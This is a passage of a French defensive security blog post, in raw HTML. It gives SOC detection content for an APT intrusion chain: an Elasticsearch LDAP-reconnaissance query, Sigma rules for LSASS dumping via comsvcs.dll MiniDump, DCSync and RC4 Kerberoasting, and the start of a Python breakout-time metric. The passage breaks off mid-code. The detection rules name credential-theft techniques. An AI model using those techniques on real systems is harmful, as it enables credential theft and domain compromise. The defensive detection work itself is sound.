style="color:hsl(256, 54%, 50%)">"should"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"> </span><span class="token property" style="color:hsl(256, 54%, 50%)">"wildcard"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"> </span><span class="token property" style="color:hsl(256, 54%, 50%)">"winlog.event_data.Filter"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"*objectClass=computer*"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"> </span><span class="token property" style="color:hsl(256, 54%, 50%)">"wildcard"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"> </span><span class="token property" style="color:hsl(256, 54%, 50%)">"winlog.event_data.Filter"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"*nTSecurityDescriptor*"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"> </span><span class="token property" style="color:hsl(256, 54%, 50%)">"wildcard"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"> </span><span class="token property" style="color:hsl(256, 54%, 50%)">"winlog.event_data.Filter"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"*servicePrincipalName*"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">      </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">      </span><span class="token property" style="color:hsl(256, 54%, 50%)">"minimum_should_match"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">2</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="point-de-contrôle-3--détection-de-lextraction-didentifiants">Point de Contrôle 3 : Détection de l'Extraction d'Identifiants<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#point-de-contr%C3%B4le-3--d%C3%A9tection-de-lextraction-didentifiants" class="hash-link" aria-label="Direct link to Point de Contrôle 3 : Détection de l'Extraction d'Identifiants" title="Direct link to Point de Contrôle 3 : Détection de l'Extraction d'Identifiants" translate="no">​</a></h3>
<p><strong>Règle Sigma  Dump LSASS via comsvcs.dll :</strong></p>
<div class="language-yaml codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-yaml codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token key atrule" style="color:hsl(356, 75%, 47%)">title</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> Dump LSASS via comsvcs.dll MiniDump</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">status</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> production</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">description</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> Détecte le dump mémoire LSASS via la DLL comsvcs.dll intégrée</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">logsource</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">category</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> process_creation</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">product</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> windows</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">detection</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">selection</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">EventID</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">4688</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">NewProcessName|endswith</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'\rundll32.exe'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">CommandLine|contains|all</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">      </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'comsvcs'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">      </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'MiniDump'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">condition</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> selection</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">falsepositives</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> Aucun cas connu</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">level</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> critical</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">tags</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> attack.credential_access</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> attack.t1003.001</span><br></span></code></pre></div></div>
<p><strong>Règle Sigma  Attaque DCSync :</strong></p>
<div class="language-yaml codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-yaml codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token key atrule" style="color:hsl(356, 75%, 47%)">title</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> Attaque DCSync </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> Abus des Droits de Réplication</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">status</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> production</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">logsource</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">product</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> windows</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">service</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> security</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">detection</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">selection</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">EventID</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">4662</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">Properties|contains</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">      </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">      </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">filter_comptes_machines</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">SubjectUserName|endswith</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'$'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">filter_aad_connect</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">SubjectUserName|startswith</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">      </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'MSOL_'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">      </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'AADConnect'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">condition</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> selection and not filter_comptes_machines and not filter_aad_connect</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">level</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> critical</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">tags</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> attack.credential_access</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> attack.t1003.006</span><br></span></code></pre></div></div>
<p><strong>Règle Sigma  Kerberoasting RC4 :</strong></p>
<div class="language-yaml codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-yaml codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token key atrule" style="color:hsl(356, 75%, 47%)">title</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> Kerberoasting </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> Demande TGS RC4 pour Compte Compatible AES</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">status</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> production</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">logsource</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">product</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> windows</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">service</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> security</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">detection</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">selection</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">EventID</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">4769</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">TicketEncryptionType</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'0x17'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">TicketOptions</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'0x40810000'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">filter_legitime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">ServiceName</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'krbtgt'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">condition</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> selection and not filter_legitime</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">level</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> high</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token key atrule" style="color:hsl(356, 75%, 47%)">tags</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> attack.credential_access</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">-</span><span class="token plain"> attack.t1558.003</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="section-5--construire-une-métrique-de-chronomètre-dévasion-pour-votre-soc">Section 5  Construire une Métrique de Chronomètre d'Évasion pour Votre SOC<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#section-5--construire-une-m%C3%A9trique-de-chronom%C3%A8tre-d%C3%A9vasion-pour-votre-soc" class="hash-link" aria-label="Direct link to Section 5  Construire une Métrique de Chronomètre d'Évasion pour Votre SOC" title="Direct link to Section 5  Construire une Métrique de Chronomètre d'Évasion pour Votre SOC" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="mesurer-le-temps-dévasion-en-interne">Mesurer le Temps d'Évasion en Interne<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#mesurer-le-temps-d%C3%A9vasion-en-interne" class="hash-link" aria-label="Direct link to Mesurer le Temps d'Évasion en Interne" title="Direct link to Mesurer le Temps d'Évasion en Interne" translate="no">​</a></h3>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> pandas </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">as</span><span class="token plain"> pd</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">def</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">calculer_temps_evasion</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">evenements_incident</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    hote_initial </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> evenements_incident</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        evenements_incident</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'type_evenement'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">isin</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token string" style="color:hsl(139, 66%, 32%)">'balise_c2'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'execution_payload'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'macro_malveillante'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">sort_values</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'timestamp'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">iloc</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    t_acces </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> hote_initial</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'timestamp'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    hote_source </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> hote_initial</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'hote'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    evenements_lateraux </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> evenements_incident</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">evenements_incident</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'hote'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">!=</span><span class="token plain"> hote_source</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">evenements_incident</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'type_evenement'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">isin</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token string" style="color:hsl(139, 66%, 32%)">'mouvement_lateral'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'pass_the_hash'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token string" style="color:hsl(139, 66%, 32%)">'execution_distante'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'nouvelle_balise'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">sort_values</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'timestamp'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> evenements_lateraux</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">empty</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">return</span><span class="token plain"> </span><span class="token boolean" style="color:hsl(356, 75%, 47%)">None</span><span class="token 